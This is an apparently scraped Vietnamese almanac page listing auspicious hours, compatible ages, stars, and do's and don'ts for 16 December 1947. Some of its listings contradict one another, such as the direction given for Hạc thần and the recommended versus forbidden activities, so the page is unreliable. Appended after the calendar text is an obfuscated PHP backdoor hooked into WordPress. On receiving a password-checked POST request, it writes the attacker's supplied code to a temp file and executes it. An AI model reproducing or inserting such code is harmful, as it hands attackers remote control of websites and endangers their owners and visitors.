T7. Th6 22nd, 2024
    Dưới đây là chi tiết giờ hoàng đạo, giờ hắc đạo Ngày 16 Tháng 12 Năm 1947 Dương Lịch

    Giờ Hoàng Đạo:

    Sửu (01h-03h)
    Thìn (07h-09h)
    Ngọ (11h-13h)
    Mùi (13h-15h)
    Tuất (19h-21h)
    Hợi (21h-23h)

    Giờ Hắc Đạo:

    Tý (23h-01h)
    Dần (03h-05h)
    Mão (05h-07h)
    Tỵ (09h-11h)
    Thân (15h-17h)
    Dậu (17h-19h)

    • Tháng mười hai, Năm 1947
    Chủ nhật
    Thứ hai
    Thứ ba
    Thứ tư
    Thứ năm
    Thứ sáu
    Thứ bảy
    Chi tiết:
    Ngày Dương Lịch: Thứ ba, Ngày 16/12/1947
    Ngày Âm Lịch: Thứ ba, Ngày 5/11/1947
    Thứ 3, 16/12/1947
    05/11/1947(AL)-
      ngày:Kỷ Tỵ, tháng:Nhâm Tý, năm:Đinh Hợi

    Là ngày: Nguyên Vũ Hắc Đạo Trực: Chấp 
    Nạp âm: Đại Lâm Mộc hành: Mộc Thuộc mùa: Xuân  Tiết khí: Đại Tuyết
    Nhị thập bát tú: Sao:  Chuỷ   Thuộc: Hoả Con vật: Khỉ

    Đánh giá chung: (1) - Tốt
    Xem thêm: Bảng tốt xấu theo từng việc
    Tốt đối vớiHơi tốtHạn chế làmKhông nên
    Khai trương
    Tế tự, tế lễ
    Động thổ
    Giao dịch, ký hợp đồng
    Cầu tài, cầu lộc
    Tố tụng, giải oan
    Làm việc thiện, làm phúc
    Hôn thú, giá thú
    Xây dựng
    Làm nhà, sửa nhà
    An táng, mai táng
    Xuất hành, di chuyển
    Bảng tính chất của ngày
    Hướng xuất hành Giờ hoàng đạoTuổi bị xung khắc
    Tài thần: Nam
    Hỷ thần: Đông bắc
    Hạc thần: Nam
    Sửu (1-3)
    Thìn (7-9)
    Ngọ (11-13)
    Mùi (13-15)
    Tuất (19-21)
    Hợi (21-23)
    Xung khắc với ngàyXung khắc với tháng
    Đinh hợi
    Tân hợi
    Canh ngọ
    Bính tuất
    Giáp ngọ
    Bính thìn
    Bảng các sao tốt xấu theo "Ngọc hạp thông thư"
    Các sao tốt Các sao xấu

    ☯ XEM NGÀY GIỜ TỐT XẤU NGÀY 16/12/1947

    Việc xem ngày tốt xấu từ lâu đã trở thành truyền thống văn hoá của người Việt Nam. Theo quan niệm tâm linh thì khi tiến hành một việc gì thì chúng ta thường xem ngày đó có tốt không, giờ nào là tốt để bắt đầu thực hiện. Dựa trên nhu cầu đó, trang Giờ Hoàng Đạo Hôm Nay chúng tôi cung cấp thông tin giúp bạn xem ngày giờ tốt xấu, tuổi hợp xung, các việc nên làm trong ngày 16/12/1947 một cách chi tiết để các bạn dễ dàng tra cứu.

    ÂM DƯƠNG LỊCH NGÀY 16/12/1947

    • Dương lịch: 16/12/1947 - Thứ Ba
    • Âm lịch: 5/11/1947 - Ngày Kỷ Tỵ, Tháng Nhâm Tý, Năm Đinh Hợi
    • Tiết Khí: Đại Tuyết (Tuyết dầy)
    • Là ngày Nguyên Vũ Hắc Đạo

    XEM GIỜ TỐT - XẤU

    • Giờ hoàng đạo (Giờ Tốt): Sửu (1:00-2:59), Thìn (7:00-9:59), Ngọ (11:00-13:59), Mùi (13:00-15:59), Tuất (19:00-21:59), Hợi (21:00-23:59)
    • Giờ hắc đạo (Giờ Xấu): Tý (23:00-0:59), Dần (3:00-4:59), Mão (5:00-6:59), Tỵ (9:00-11:59), Thân (15:00-17:59), Dậu (17:00-19:59)

    XEM TUỔI XUNG - HỢP

    • Tuổi hợp: Dậu, Sửu, Thân (Các tuổi này khá hợp với ngày 16/12/1947)
    • Tuổi xung khắc: Tuổi Tân Hợi, Đinh Hợi xung khắc với ngày 16/12/1947.

    XEM TRỰC

    • Thập nhị trực chiếu xuống trực: Chấp
    • Nên làm: Lập khế ước, giao dịch, động đất ban nền, cầu thầy chữa bệnh, đi săn thú cá, tìm bắt trộm cướp.
    • Kiêng cự: Xây đắp nền tường.

    XEM NGŨ HÀNH

    • Ngũ hành niên mệnh: Đại Lâm Mộc
    • Ngày: Kỷ Tỵ; tức Chi sinh Can (Hỏa, Thổ), là ngày cát (nghĩa nhật).
      Nạp âm: Đại Lâm Mộc kị tuổi: Quý Hợi, Đinh Hợi.
      Ngày thuộc hành Mộc khắc hành Thổ, đặc biệt tuổi: Tân Mùi, Kỷ Dậu, Đinh Tỵ thuộc hành Thổ không sợ Mộc.
      Ngày Tỵ lục hợp Thân, tam hợp Sửu và Dậu thành Kim cục.
      Xung Hợi, hình Thân, hại Dần, phá Thân, tuyệt Tý.

    XEM SAO TỐT XẤU

    • Sao tốt: Ngũ phú, Bất tương.
    • Sao xấu: Kiếp sát, Tiểu hao, Trùng nhật.
    • Nên làm: Cúng tế, xuất hành, đính hôn, ăn hỏi, cưới gả.
    • Không nên: Cầu phúc, cầu tự, giải trừ, thẩm mỹ, chữa bệnh, động thổ, đổ mái, khai trương, ký kết, giao dịch, nạp tài, mở kho, xuất hàng, san đường, sửa tường, đào đất, an táng, cải táng.

    XEM NGÀY GIỜ XUẤT HÀNH

    • Ngày xuất hành: Là ngày Thiên Tặc - Xuất hành xấu, cầu tài không được. Đi đường dễ mất cắp. Mọi việc đều rất xấu.
    • Hướng xuất hành: NÊN xuất hành hướng Nam để đón Tài Thần, hướng Đông Bắc đón Hỷ Thần. TRÁNH xuất hành hướng Đông Bắc vì gặp Hạc Thần (Xấu).
    Giờ xuất hànhMô tả chi tiết
    23h-1h Nghiệp khó thành, cầu tài mờ mịt, kiện cáo nên hoãn lại. Người đi chưa có tin về. Đi hướng Nam tìm nhanh mới thấy, nên phòng ngừa cãi cọ, miệng tiếng rất tầm thường. Việc làm chậm, lâu la nhưng việc gì cũng chắc chắn.
    1h-3h Hay cãi cọ, gây chuyện đói kém, phải nên đề phòng, người đi nên hoãn lại, phòng người nguyền rủa, tránh lây bệnh.
    3h-5h Rất tốt lành, đi thường gặp may mắn. Buôn bán có lời, phụ nữ báo tin vui mừng, người đi sắp về nhà, mọi việc đều hòa hợp, có bệnh cầu tài sẽ khỏi, người nhà đều mạnh khỏe.
    5h-7h Cầu tài không có lợi hay bị trái ý, ra đi gặp hạn, việc quan phải đòn, gặp ma quỷ cúng lễ mới an.
    7h-9h Mọi việc đều tốt, cầu tài đi hướng Tây, Nam. Nhà cửa yên lành, người xuất hành đều bình yên.
    9h-11h Vui sắp tới. Cầu tài đi hướng Nam, đi việc quan nhiều may mắn. Người xuất hành đều bình yên. Chăn nuôi đều thuận lợi, người đi có tin vui về.
    11h-13h Nghiệp khó thành, cầu tài mờ mịt, kiện cáo nên hoãn lại. Người đi chưa có tin về. Đi hướng Nam tìm nhanh mới thấy, nên phòng ngừa cãi cọ, miệng tiếng rất tầm thường. Việc làm chậm, lâu la nhưng việc gì cũng chắc chắn.
    13h-15h Hay cãi cọ, gây chuyện đói kém, phải nên đề phòng, người đi nên hoãn lại, phòng người nguyền rủa, tránh lây bệnh.
    15h-17h Rất tốt lành, đi thường gặp may mắn. Buôn bán có lời, phụ nữ báo tin vui mừng, người đi sắp về nhà, mọi việc đều hòa hợp, có bệnh cầu tài sẽ khỏi, người nhà đều mạnh khỏe.
    17h-19h Cầu tài không có lợi hay bị trái ý, ra đi gặp hạn, việc quan phải đòn, gặp ma quỷ cúng lễ mới an.
    19h-21h Mọi việc đều tốt, cầu tài đi hướng Tây, Nam. Nhà cửa yên lành, người xuất hành đều bình yên.
    21h-23h Vui sắp tới. Cầu tài đi hướng Nam, đi việc quan nhiều may mắn. Người xuất hành đều bình yên. Chăn nuôi đều thuận lợi, người đi có tin vui về.

    XEM NHỊ THẬP BÁT TÚ

    • SAO: .
    • Ngũ hành: .
    • Động vật: .
    • Diễn giải:

    (Xem ngày tốt xấu ngày 16 tháng 12 năm 1947)

    Âm lịch: Ngày 5/11/1947 Tức ngày Kỷ Tỵ, tháng Nhâm Tý, năm Đinh Hợi

    Hành Mộc - Sao Chủy - Trực Chấp - Ngày Huyền Vũ Hắc Đạo

    Tiết khí: Đại Tuyết

    Giờ Hoàng Đạo Ngày 16 Tháng 12 Năm 1947

    Sửu (01h-03h)
    Thìn (07h-09h)
    Ngọ (11h-13h)
    Mùi (13h-15h)
    Tuất (19h-21h)
    Hợi (21h-23h)

    Giờ Hắc Đạo Ngày 16 Tháng 12 Năm 1947

    Tý (23h-01h)
    Dần (03h-05h)
    Mão (05h-07h)
    Tỵ (09h-11h)
    Thân (15h-17h)
    Dậu (17h-19h)
    ☼ Giờ mặt trời:
    • Mặt trời mọc: 07:27
    • Mặt trời lặn: 18:19
    • Độ dài ban ngày: 10 giờ 51 phút
    ☞ Hướng xuất hành:
    • Tài thần: Nam
    • Hỷ thần: Đông Bắc
    • Hạc thần: Nam
    ⚥ Hợp - Xung:
    • Tam hợp: Dậu, Sửu, Lục hợp: Thân
    • Hình: Dần, Thân, Hại: Dần, Xung: Hợi
    ❖ Tuổi bị xung khắc:
    • Tuổi bị xung khắc với ngày: Tân Hợi, Đinh Hợi
    • Tuổi bị xung khắc với tháng: Giáp Ngọ, Canh Ngọ, Bính Tuất, Bính Thìn
    ✧ Sao tốt - Sao xấu:
    • Sao tốt: Ngũ phú, Bất tương
    • Sao xấu: Kiếp sát, Tiểu hao, Trùng nhật
    ✔ Việc nên - Không nên làm:
    • Nên: Cúng tế, xuất hành, đính hôn, ăn hỏi, cưới gả
    • Không nên: Cầu phúc, cầu tự, giải trừ, thẩm mỹ, chữa bệnh, động thổ, đổ mái, khai trương, ký kết, giao dịch, nạp tài, mở kho, xuất hàng, san đường, sửa tường, đào đất, an táng, cải táng

    Tuổi hợp ngày: Sửu, Dậu

    Tuổi khắc với ngày: Tân Hợi, Đinh Hợi

    Sao: Chủy
    Chủy hòa hậu
    Chủy tinh cẩn thận mắc cửa quan
    Vàng nén bọc kho dễ sạch sanh
    Quan viên danh chức càng nên giữ
    Thầy thợ coi chừng chuyện tiếng tăm
    Trực: Chấp
    Việc nên làm
    Việc kiêng kị
    Tốt cho các việc tạo tác, sửa giếng, thu người làm.
    Xấu cho các việc xuất nhập vốn liếng, khai kho, an sàng.
    Người sinh vào trực này nóng tính - Đàn ông rộng rãi - Đàn bà hẹp hòi.
    Theo “Ngọc Hạp Thông Thư”
    Sao tốt
    Sao xấu
    Thiên đức* - Ngũ Phú * - Ích Hậu
    Kiếp Sát * - Lôi Công - Ly Sàng - Ly Sào
    Việc nên làm
    Việc kiêng kị
    Khai trương, cầu tài lộc, mở cửa hàng, cửa hiệu - Tế lễ, chữa bệnh - Kiện tụng, tranh chấp
    Động thổ - Đổ trần, lợp mái nhà - Xây dựng, sửa chữa nhà - Cưới hỏi - Xuất hành đi xa - An táng, mai táng - Nhập trạch, chuyển về nhà mới
    Xuất hành
    Hướng Xuất Hành
    Hỉ Thần: Đông Bắc - Tài Thần: Chính Nam
    Ngày Xuất Hành Theo Khổng Minh
    Ngày Thiên Tặc: Xuất hành xấu, cầu tài không được. Đi đường dễ mất cắp. Mọi việc đều rất xấu.
    Giờ Xuất Hành Theo Lý Thuần Phong
    23h-01h và 11h-13h
    Lưu Niên
    Nghiệp khó thành, cầu tài mờ mịt. Kiện các nên hoãn lại. Người đi chưa có tin về. Mất của, đi hướng Nam tìm nhanh mới thấy. Nên phòng ngừa cãi cọ. Miệng tiếng rất tầm thường. Việc làm chậm, lâu la nhưng làm gì đều chắc chắn.
    01h-03h và 13h-15h
    Xích Khẩu
    Hay cãi cọ, gây chuyện đói kém, phải nên phòng. Người ra đi nên hoãn lại. Phòng người người nguyền rủa, tránh lây bệnh. (Nói chung khi có việc hội họp, việc quan, tranh luận…Tránh đi vào giờ này, nếu bắt buộc phải đi thì nên giữ miệng dễ gây ẩu đả cãi nhau).
    03h-05h và 15h-17h
    Tiểu Các
    Rất tốt lành, đi thường gặp may mắn. Buôn bán có lời. Phụ nữ có tin mừng, người đi sắp về nhà. Mọi việc đều hòa hợp. Có bệnh cầu sẽ khỏi, người nhà đều mạnh khỏe.
    05h-07h và 17h-19h
    Tuyệt Lộ
    Cầu tài không có lợi, hay bị trái ý, ra đi hay gặp nạn, việc quan trọng phải đòn, gặp ma quỷ cúng tế mới an.
    07h-09h và 19h-21h
    Đại An
    Mọi việc đểu tốt lành, cầu tài đi hướng Tây Nam – Nhà cửa yên lành. Người xuất hành đều bình yên.
    09h-11h và 21h-23h
    Tốc Hỷ
    Vui sắp tới, cầu tài đi hướng Nam. Đi việc gặp gỡ các Quan nhiều may mắn. Chăn nuôi đều thuận lợi, người đi có tin về.
    Tham khảo thêm

    Lịch âm dương
    Dương lịch: Thứ 3, ngày 16/12/1947
    Âm lịch: 05/11/1947 - Ngày Kỷ Tị, tháng Nhâm Tý, năm Đinh Hợi
    Nạp âm: Đại Lâm Mộc (Gỗ rừng già) - Hành Mộc
    Tiết Đại tuyết - Mùa Đông - Ngày Hắc đạo Nguyên vũ


    Ngày Hắc đạo Nguyên vũ:
    Giờ Tý (23h-01h): Là giờ hắc đạo Bạch hổ. Kỵ mọi việc, trừ những việc săn bắn tế tự.
    Giờ Sửu (01h-03h): Là giờ hoàng đạo Ngọc đường. Tốt cho mọi việc, trừ những việc liên quan đến bùn đất, bếp núc. Rất tốt cho việc giấy tờ, công văn, học hành khai bút.
    Giờ Dần (03h-05h): Là giờ hắc đạo Thiên lao. Mọi việc bất lợi, trừ những việc trấn áp thần quỷ (trong tín ngưỡng, mê tín).
    Giờ Mão (05h-07h): Là giờ hắc đạo Nguyên vũ. Kỵ kiện tụng, giao tiếp.
    Giờ Thìn (07h-09h): Là giờ hoàng đạo Tư mệnh. Mọi việc đều tốt.
    Giờ Tỵ (09h-11h): Là giờ hắc đạo Câu trận. Rất kỵ trong việc dời nhà, làm nhà, tang lễ.
    Giờ Ngọ (11h-13h): Là giờ hoàng đạo Thanh long. Tốt cho mọi việc, đứng đầu bảng trong các giờ Hoàng Đạo.
    Giờ Mùi (13h-15h): Là giờ hoàng đạo Minh đường. Có lợi cho việc gặp các vị đại nhân, cho việc thăng quan tiến chức.
    Giờ Thân (15h-17h): Là giờ hắc đạo Thiên hình. Rất kỵ kiện tụng.
    Giờ Dậu (17h-19h): Là giờ hắc đạo Chu tước. Kỵ các viện tranh cãi, kiện tụng.
    Giờ Tuất (19h-21h): Là giờ hoàng đạo Kim quỹ. Tốt cho việc cưới hỏi.
    Giờ Hợi (21h-23h): Là giờ hoàng đạo Kim Đường. Hanh thông mọi việc.


    Hợp - Xung:
    Tuổi hợp ngày: Lục hợp: Thân. Tam hợp: Dậu, Sửu
    Tuổi xung ngày: Đinh Hợi, Tân Hợi
    Tuổi xung tháng: Bính Thìn, Bính Tuất, Giáp Ngọ, Canh Ngọ


    Kiến trừ thập nhị khách: Trực Chấp
    Tốt cho các việc lưu giữ lâu dài cái tốt cho mai sau như trồng trọt, cất giữ tiền bạc, khởi công xây dựng, tạo tác
    Xấu với các việc xuất tiền của, dời nhà ở, xuất hành, mở cửa hàng.


    Nhị thập bát tú: Sao Chuỷ
    Việc nên làm: Không có mấy việc hợp với ngày này.
    Việc không nên làm: Kỵ khởi công tạo tác, chôn cất, sửa đắp mồ mả, đóng thọ đường, làm sanh phần, tranh chấp, kiện tụng.
    Ngoại lệ: Sao Chủy vào ngày Tị bị đoạt khí, hung càng thêm hung.
    Sao Chủy Đăng Viên vào ngày Dậu nên rất tốt. Nhưng cũng phạm Phục Đoạn Sát nên kiêng kỵ ở các việc đã nêu.
    Sao Chủy vào ngày Sửu là Đắc Địa, nhất là ngày Đinh Sửu và Tân Sửu, tạo tác đại lợi, chôn cất phú quý song toàn.


    Ngọc hạp thông thư:
    Sao tốt:
    Ngũ phú*: Tốt mọi việc
    Ích hậu: Tốt mọi việc, nhất là giá thú
    Thiên đức*: Tốt mọi việc
    Sao xấu:
    Kiếp sát*: Kỵ xuất hành, giá thú, an táng, xây dựng
    Lôi công: Xấu với xây dựng nhà cửa
    Ly sàng: Kỵ giá thú
    Ly Sào: Xấu về dọn nhà mới, nhập trạch, giá thú, xuất hành
    Nguyệt kỵ*: Xấu mọi việc
    Xích khẩu: Kỵ giá thú, giao dịch, yến tiệc


    Xuất hành:
    Ngày xuất hành: Thiên Tặc - Khởi hành xấu, đường đi gặp nhiều khó khăn.
    Hướng xuất hành: Hỷ thần: Đông bắc - Tài Thần: Nam - Hạc thần: Nam
    Giờ xuất hành:
    Giờ Tý (23h-01h): Là giờ Lưu niên. Mọi sự mưu cầu khó thành. Đề phòng thị phi, miệng tiếng. Việc liên quan tới giấy tờ, chính quyền, luật pháp nên từ từ, thư thả.
    Giờ Sửu (01h-03h): Là giờ Xích khẩu. Dễ xảy ra việc xung đột bất hòa hay cãi vã. Người đi nên hoãn lại.
    Giờ Dần (03h-05h): Là giờ Tiểu các. Xuất hành gặp nhiều may mắn. Khai trương, buôn bán, giao dịch có lời. Công việc trôi chảy tốt đẹp, vạn sự hòa hợp.
    Giờ Mão (05h-07h): Là giờ Tuyệt lộ. Cầu tài không có lợi, ra đi hay gặp trắc trở, gặp ma quỷ phải cúng lễ mới qua.
    Giờ Thìn (07h-09h): Là giờ Đại an. Cầu tài đi hướng Tây, Nam. Xuất hành được bình yên. Làm việc gì cũng được hanh thông.
    Giờ Tỵ (09h-11h): Là giờ Tốc hỷ. Niềm vui sắp tới. Cầu tài đi hướng Nam. Xuất hành được bình yên. Quãng thời gian đầu giờ tốt hơn cuối giờ.
    Giờ Ngọ (11h-13h): Là giờ Lưu niên. Mọi sự mưu cầu khó thành. Đề phòng thị phi, miệng tiếng. Việc liên quan tới giấy tờ, chính quyền, luật pháp nên từ từ, thư thả.
    Giờ Mùi (13h-15h): Là giờ Xích khẩu. Dễ xảy ra việc xung đột bất hòa hay cãi vã. Người đi nên hoãn lại.
    Giờ Thân (15h-17h): Là giờ Tiểu các. Xuất hành gặp nhiều may mắn. Khai trương, buôn bán, giao dịch có lời. Công việc trôi chảy tốt đẹp, vạn sự hòa hợp.
    Giờ Dậu (17h-19h): Là giờ Tuyệt lộ. Cầu tài không có lợi, ra đi hay gặp trắc trở, gặp ma quỷ phải cúng lễ mới qua.
    Giờ Tuất (19h-21h): Là giờ Đại an. Cầu tài đi hướng Tây, Nam. Xuất hành được bình yên. Làm việc gì cũng được hanh thông.
    Giờ Hợi (21h-23h): Là giờ Tốc hỷ. Niềm vui sắp tới. Cầu tài đi hướng Nam. Xuất hành được bình yên. Quãng thời gian đầu giờ tốt hơn cuối giờ.


    Bành tổ bách kỵ nhật:
    Ngày Kỷ: Không nên phá khoán, cả 2 chủ đều mất
    Ngày Tị: Không nên đi xa tiền của mất mát

     

    if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}